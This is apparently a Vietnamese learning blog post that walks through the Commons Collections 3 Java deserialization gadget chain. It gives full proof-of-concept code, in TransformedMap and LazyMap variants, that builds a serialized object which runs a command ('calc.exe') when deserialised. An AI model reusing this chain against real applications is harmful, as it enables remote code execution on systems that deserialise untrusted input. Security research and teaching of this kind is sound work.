Phân tích chuỗi Commons Collections 3

  1. 1. Một vài kiến thức cần nắm
  2. 2. Môi trường
  3. 3. Phân tích
    1. 3.1. InstaniateTransformer
    2. 3.2. ChainedTransformed
    3. 3.3. ChainedTransformed + TransformedMap
    4. 3.4. ChainedTransformed + LazyMap
  4. 4. Lời kết

Một vài kiến thức cần nắm

Bài viết này mình sử dụng template từ 3 bài viết trước về CC1-Lazymap, cc1-TransformedMap và CC2 nên để có thể hiểu được các bạn nên đọc 3 bài kia trước nhé.

Môi trường

  • JDK8u65
  • Commons-Collections 3.2.1
    Thêm Commons-Collections 3.2.1 vào project bằng dependencies (pom.xml file):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
    </dependency>
    </dependencies>
    <dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.25.0-GA</version>
    </dependency>

Phân tích

Sơ đồ tóm tắt chuỗi.

CC2, CC3, CC4 đều được xây dựng dựa trên TemplateImpl. Mình đã xây dựng phần này ở bài viết về cc3, nên bài này mình sẽ sử dụng lại nó.

1
2
3
4
5
6
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
TemplatesImpl.getTransletInstance()->_class[_transletIndex].newInstance()
Runtime.getRuntime().exec("calc.exe")

Đoạn code trigger lớp TemplatesImpl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.*;

public class cc2 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

templates.newTransformer();
}
}

Ở CC2, chúng ta lợi dụng thực thi hàm newTransformer thông qua InvokerTransformer.newTransform(). Còn với CC3 là gì thì chúng ta cùng nhau đi tiếp nào.

Tìm kiếm ta thấy có lớp TrAXFilter gọi đến nó ở trong hàm tạo.

Đi đến hàm tạo của TrAXFilter phân tích một chút (phân tích trước chứ có cái có thể không xài nhé):

  • _templates là một instance của interface Templates -> _templates có thể là những lớp implements Templates (VD TemplatesImpl)
  • _transformer là một instance của class TransformerImpl và ở đây nó có thực thi _transformer = (TransformerImpl) templates.newTransformer(); -> Tìm class tạo ra TrAXFilter để nó thực thi hàm tạo.

InstaniateTransformer

Theo chain này, chúng ta sẽ dùng lớp InstantiateTransformer để tạo TrAXFilter ở hàm transform.

Ở đây thì cũng khá dễ hiểu, trước tiên nó check Object mình truyền vào có phải là instance Class hay không, vậy thì chúng ta phải truyền Object loại khác với Class.

Tiếp theo hàm này sử dụng reflection để tạo instance của một lớp nào đó. Mình sẽ phân tích rõ như sau:

  • Constructor con = ((Class) input).getConstructor(iParamTypes);
    • con là constructer của input truyền vào hàm transform.
    • iParamTypes là mảng các kiểu dữ liệu truyền vào constructor của lớp TrAXFilter
    • iArgs là mảng các tham số truyền vào constructor.
  • Sau đó nó tạo instance của class cần tạo bằng con.newInstance(iArgs)

Nhìn vào hàm tạo của InstantiateTransformer để xem các biến iParamTypes, iArgs được tạo như nào:

1
2
3
4
5
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}

Tóm gọn lại ý tưởng đến lúc này:
* Ta có templates là instance của TemplateImpl cần thực thi newTransformer()
* Tạo một instace của InstantiateTransformer với paramTypes là mảng chứa kiểu Class của tham số truyền vào constructor TrAXFilter (new Class[]{Templates.class}). args là mảng chứa tham số cần truyền vào constructor của TrAXFilter (new Object[]{templates})
* Thực thi instantiateTransformer.transform(TrAXFilter.class)

Từ đây ta có một POC nhỏ như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.*;

public class cc3 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}

ChainedTransformed

Tương tự như InvokerTransformer.transform, InstantiateTransformer implements Transformer nên thằng này có thể cho vào ChainedTransformed.
Lợi ích của việc này như ở cc1-TransformedMap mình đã nói đó là chúng ta có thể trực tiếp thực thi mà không cần điều khiển đầu vào của hàm transform() bằng cách sử dụng ConstantTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
}

Tương tự như cc1, các bạn có thể nhìn vào sơ đồ ở đầu bài viết, từ ChainedTransformed chúng ta có hai hướng đó là kết hợp với TransformedMap, hoặc Lazymap để tạo thành một chain.

Hai cái này mình đã có bài viết về nó nên mình sẽ dùng lại luôn. Nếu muốn giải thích kĩ hơn thì các bạn xem lại ở bài viêt trước nhé~

ChainedTransformed + TransformedMap

Tiếp đến ta chỉ cần thêm đoạn này để trigger ChainedTransformer.transform.

1
2
3
4
5
Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(new HashMap<>(), null, chainedTransformer);
map.put(null, null);
for(Map.Entry entry : map.entrySet()){
entry.setValue(null);
}

POC đến giai đoạn hiện tại:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(new HashMap<>(), null, chainedTransformer);
map.put(null, null);
for(Map.Entry entry : map.entrySet()){
entry.setValue(null);
}

}
}

Hoàn thiện chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
//chainedTransformer.transform(null);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "test-value");
Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihClassConstructor.setAccessible(true);
Object aihObject = aihClassConstructor.newInstance(Target.class, map);
serialize(aihObject);
unserialize("ser.bin");
}
}

Xây dựng xong chạy lên thì không thấy máy tính bật :) check đi check lại, tưởng là có vấn đề gì hóa ra jdk-1.8.0_342 mình đặt tên là 1.8.0_65 nên không chạy được :).

Cái phần này mình chỉ lấy lại template từ bài viết trước, nếu các bạn chưa xem thì xem bài đó để hiểu nó là gì nhé~

ChainedTransformed + LazyMap

Chain hoàn chỉnh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
//chainedTransformer.transform(null);
//----------------------TransformedMap
// HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put("value", "test-value");
// Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
// Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
// aihClassConstructor.setAccessible(true);
// Object aihObject = aihClassConstructor.newInstance(Target.class, map);
// serialize(aihObject);
// unserialize("ser.bin");
//-----------------------LazyMap
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
//lazyMap.get(null);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler aihInstance = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(aihClass.getClassLoader(), new Class[]{Map.class},aihInstance);
Object aihProxyObject = aihConstructor.newInstance(Override.class, proxyMap);
serialize(aihProxyObject);
unserialize("ser.bin");
}
}

Chạy file và máy tính đã bật lên!

Phần thay đổi lấy từ cc1-lazymap, các bạn tìm lại đọc nhé~

Lời kết

Chain này cũng không có gì quá khó khăn vì dựa trên phần đầu của cc1 và phần đuôi của cc2 mà mình đã phân tích. Chỉ khác là nó không đi qua InvokerTranformer mà đi qua InstantiateTransformer kết hợp với TrAXFilter.
Qua ba bài viết về ba gadget chains mình đã dần thấy quen với việc đọc mã nguồn và sâu chuỗi các hàm, class. Mọi thứ dần trở nên dễ dàng hơn một xíu rồi. Hy vọng các bạn cũng như mình!
Phần này mình sử dụng lại các đoạn code từ mấy chain trước nên nếu bạn chưa hiểu thì tìm đọc nhé.

Chúc các bạn học tốt~